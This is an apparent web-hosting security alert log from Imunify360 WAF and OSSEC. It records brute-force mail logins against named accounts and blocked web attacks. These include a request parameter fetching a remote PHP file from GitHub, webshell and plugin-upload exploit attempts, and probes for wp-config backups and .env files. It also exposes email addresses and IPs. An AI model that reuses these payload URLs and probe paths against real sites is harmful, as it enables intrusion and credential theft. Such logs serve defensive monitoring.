domain: interceptorglobal.in
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:interceptorgloba||SC:/home/interceptorgloba/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: stcinemas.co
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:stcinemas||SC:/home/stcinemas/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-05 18:20:34 dovecot_login authenticator failed for H=([174.75.211.204]) [122.184.124.46]:58974: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.15.135.99
country_id: 1210997
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/ship-supply-and-services/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.252
country_id: 1733045
description:
2026-07-05 18:28:02 dovecot_login authenticator failed for H=([207.188.158.216]) [49.124.147.252]:54578: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.102.59
country_id: 294640
description:
2026-07-05 18:29:27 dovecot_login authenticator failed for H=([192.111.129.146]) [130.185.102.59]:49395: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.16.27.210
country_id: 1269750
description:
2026-07-05 18:28:45 dovecot_login authenticator failed for H=([59.145.86.177]) [125.16.27.210]:50678: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-05 18:29:12 dovecot_login authenticator failed for H=([72.206.74.97]) [14.46.58.104]:56380: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-05 18:30:13 dovecot_login authenticator failed for H=([49.124.151.55]) [122.187.221.130]:47548: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-05 18:29:31 dovecot_login authenticator failed for H=([112.26.99.93]) [192.34.164.13]:39185: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.201.185
country_id: 1835841
description:
2026-07-05 18:29:46 dovecot_login authenticator failed for H=([59.127.220.67]) [121.188.201.185]:47323: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.20.107
country_id: 6251999
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:104.233.20.107||TA:104.233.20.107||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-05 18:29:46 dovecot_login authenticator failed for H=([67.201.59.67]) [50.190.89.138]:43371: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.24.206.213
country_id: 1562822
description:
2026-07-05 18:31:05 dovecot_login authenticator failed for H=([184.170.249.69]) [123.24.206.213]:34909: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-05 18:31:19 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([96.92.158.60]) [82.209.148.60]:47658: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.152.58.233
country_id: 6252001
description:
2026-07-05 18:30:45 dovecot_login authenticator failed for H=([39.171.42.206]) [104.152.58.233]:38991: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-05 18:30:48 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([116.38.54.26]) [111.70.22.153]:40433: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.194.143
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:107.174.194.143||TA:107.174.194.143||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.123.208
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:152.232.123.208||TA:152.232.123.208||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-05 18:34:17 dovecot_login authenticator failed for H=(c-50-190-89-138.unallocated.comcastbusiness.net) [190.104.24.6]:42666: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.53.140
country_id: 2260494
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.216.198.132
country_id: 630336
description:
2026-07-05 18:39:27 dovecot_login authenticator failed for H=([49.124.149.203]) [46.216.198.132]:42318: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-05 18:39:19 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it ([183.96.62.29]) [151.0.154.194]:58623: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-05 18:39:46 dovecot_login authenticator failed for H=([121.129.75.178]) [1.250.67.114]:52314: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-05 18:39:49 dovecot_login authenticator failed for H=([103.251.143.14]) [117.250.19.91]:37602: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-05 18:40:05 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net (nsg-corporate-113.177.186.122.airtel.in) [71.235.27.139]:44554: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.189.17.35
country_id: 298795
description:
2026-07-05 18:40:20 dovecot_login authenticator failed for H=(93.102.230.82.rev.optimus.pt) [78.189.17.35]:46625: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-05 18:40:37 dovecot_login authenticator failed for H=(host-119.84.45.129.djezzycloud.dz) [1.250.67.114]:58870: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.86.64
country_id: 1819730
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-05 18:43:06 dovecot_login authenticator failed for H=([121.129.75.178]) [1.250.67.114]:50438: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-05 18:44:29 dovecot_login authenticator failed for H=([101.13.5.30]) [38.108.83.2]:42734: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-05 18:46:51 dovecot_login authenticator failed for H=([182.95.185.14]) [182.95.106.138]:34428: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-roorkee.html\">Roorkee call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-05 18:48:31 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [120.29.140.188]:45474: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-05 18:48:47 dovecot_login authenticator failed for H=([46.8.246.27]) [171.244.60.35]:17055: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-05 18:52:11 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [188.122.37.97]:37388: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-05 18:52:37 dovecot_login authenticator failed for H=a4.ucndns.in ([142.54.229.253]) [103.252.168.4]:53825: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 172.216.169.231
country_id: 1880251
domain: gsmex.global
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:113509||Sizes:25||Combined size:25||User:gsmex||WPU:||Filename:cox.txt||Scanned:/tmp//20260705-185349-akpa5ZWPf9aLe2ELDtwVjQAAAJI-file-vH7v08||SC:/home/gsmex/public_html/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 172.216.169.231
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-5nrfmf1z.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-05 19:02:24 dovecot_login authenticator failed for H=([49.124.148.195]) [182.31.35.187]:34505: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-05 19:03:22 dovecot_login authenticator failed for H=([124.239.169.52]) [122.185.146.166]:56022: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-07-05 19:06:29 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.195.77.177
country_id: 1835841
description:
2026-07-05 19:06:29 dovecot_login authenticator failed for H=([119.195.77.177]) [119.195.77.177]:56491: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-05 19:05:34 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:35866: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.149
country_id: 1269750
description:
2026-07-05 19:05:40 dovecot_login authenticator failed for H=(nsg-corporate-149.229.187.122.airtel.in) [122.187.229.149]:56822: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-07-05 19:05:48 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:45250: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.198
country_id: 1269750
description:
2026-07-05 19:05:53 dovecot_login authenticator failed for H=([122.187.227.198]) [122.187.227.198]:54017: 535 Incorrect authentication data (set_id=jijo)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 140.235.3.136
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://meneercasino.com/online-casino-tips/boom-city\">penis enlargement pills before and after</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.145.56
country_id: 1733045
description:
2026-07-05 19:11:03 dovecot_login authenticator failed for H=([46.210.121.205]) [49.124.145.56]:53386: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-05 19:10:38 dovecot_login authenticator failed for H=([111.35.36.48]) [14.40.114.86]:53920: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.172
country_id: 1668284
description:
2026-07-05 19:11:36 dovecot_login authenticator failed for H=221-120-57-172.emome-ip.hinet.net (ip-142-54-232-1.hosts.zerolag.com) [221.120.57.172]:59478: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-07-05 19:15:55 dovecot_login authenticator failed for H=([36.140.173.223]) [220.94.238.133]:58697: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-05 19:16:20 dovecot_login authenticator failed for H=([125.19.175.124]) [103.174.145.35]:41663: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-05 19:17:19 dovecot_login authenticator failed for H=([68.71.253.70]) [125.19.218.50]:43722: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-05 19:18:05 dovecot_login authenticator failed for H=([192.252.214.22]) [121.202.135.172]:8974: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.196.42.114
country_id: 2077456
description:
2026-07-05 19:17:31 dovecot_login authenticator failed for H=(079.33.246.220.static.netvigator.com) [203.196.42.114]:46413: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.49.148.50
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-05 19:20:00 dovecot_login authenticator failed for H=([31.173.31.66]) [101.13.1.58]:49334: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.15.40.86
country_id: 1643084
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:root||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 157.15.40.86
country_id: 1643084
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.25||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 157.15.40.86
country_id: 1643084
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.25||T:APACHE||MV:wp-config.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-05 19:25:25 dovecot_login authenticator failed for H=([111.70.23.230]) [122.53.106.124]:39343: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-05 19:25:00 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([115.144.242.18]) [80.1.51.168]:38822: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-05 19:25:43 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [197.219.208.58]:53148: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-05 19:30:37 dovecot_login authenticator failed for H=([218.92.251.198]) [112.164.239.190]:36193: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-05 19:30:57 dovecot_login authenticator failed for H=([65.20.204.179]) [121.131.220.152]:46666: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-05 19:31:21 dovecot_login authenticator failed for H=(undefined.sevstar.net) [103.176.160.146]:37392: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.44.213.191
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://ace90bet.bet\">\xd8\xb3\xd8\xa7\xdb\x8c\xd8\xaa \xd8\xb4\xd8\xb1\xd8\xb7 \xd8\xa8\xd9\x86\xd8\xaf\xdb\x8c \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.68.38.69
country_id: 298795
description:
2026-07-05 19:36:31 dovecot_login authenticator failed for H=([206.220.175.5]) [212.68.38.69]:41072: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-05 19:40:12 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([186.238.210.226]) [213.101.138.172]:48856: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.204.228.172
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es55-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-05 19:40:23 dovecot_login authenticator failed for H=(50-121-186-125.static.chtn.wv.ip.frontiernet.net) [103.168.241.32]:50793: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-05 19:47:30 dovecot_login authenticator failed for H=([182.79.218.164]) [125.23.228.86]:51174: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.38
country_id: 1835841
description:
2026-07-05 19:49:20 dovecot_login authenticator failed for H=(67-43-240-149.fidnet.com) [61.72.145.38]:38184: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.144.203
country_id: 2077456
description:
2026-07-05 19:49:33 dovecot_login authenticator failed for H=([182.95.176.122]) [203.221.144.203]:40008: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 175.100.59.131
country_id: 1831722
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceu40zcs9z.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 195.63.17.30
country_id: 6251999
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoqoskhq/fonts/imkkzvmx.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-05 19:53:46 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([157.211.246.182]) [83.208.70.70]:35486: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-05 19:55:22 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([84.225.51.158]) [85.195.9.20]:40846: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.41.197
country_id: 1733045
description:
2026-07-05 19:56:27 dovecot_login authenticator failed for H=([184.185.2.254]) [183.171.41.197]:49888: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-05 19:59:19 dovecot_login authenticator failed for H=([115.86.227.79]) [182.95.181.26]:53884: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-05 20:00:43 dovecot_login authenticator failed for H=(72-24-210-58.cpe.sparklight.net) [122.186.249.6]:33072: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.91.103.202
country_id: 6252001
description:
2026-07-05 20:01:22 dovecot_plain authenticator failed for H=c-24-91-103-202.hsd1.ma.comcast.net (queuthy) [24.91.103.202]:47894: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-05 20:01:28 dovecot_login authenticator failed for H=([110.77.150.25]) [128.185.201.26]:58626: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.45.237.8
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:alnay||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 198.186.131.58
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:vrishenterprises||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 51.210.246.206
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-05 20:19:22 dovecot_login authenticator failed for H=([182.210.174.66]) [170.233.29.157]:39183: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.94.205.12
country_id: 2264397
description:
2026-07-05 20:19:27 dovecot_login authenticator failed for H=a95-94-205-12.cpe.netcabo.pt ([192.111.138.28]) [95.94.205.12]:58432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-05 20:19:34 dovecot_login authenticator failed for H=([49.124.153.45]) [220.86.176.134]:44013: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-07-05 20:19:36 dovecot_login authenticator failed for H=(95.158.39.201.bestsolution.net.ua) [41.65.118.172]:51656: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-05 20:21:07 dovecot_login authenticator failed for H=([186.201.12.209]) [62.220.236.203]:45468: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-05 20:21:19 dovecot_login authenticator failed for H=([90.160.117.76]) [136.35.246.152]:50672: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.148.10.247
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env.production&v=eztsp HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.244.74.77
country_id: 3996063
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/25/investment-on-private-sector/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-05 20:25:13 dovecot_login authenticator failed for H=([223.75.156.89]) [91.86.92.45]:4935: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-05 20:25:30 dovecot_login authenticator failed for H=([72.37.216.65]) [180.71.9.31]:55960: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-05 20:25:36 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net ([184.181.217.198]) [96.56.228.149]:55210: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-05 20:26:17 dovecot_login authenticator failed for H=(isp-31-222-7-68.saowifi.net) [205.250.25.62]:37218: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-05 20:26:40 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([192.252.220.90]) [220.246.47.146]:58060: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-05 20:28:05 dovecot_login authenticator failed for H=([185.65.238.251]) [219.248.65.30]:53630: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 187.77.185.125
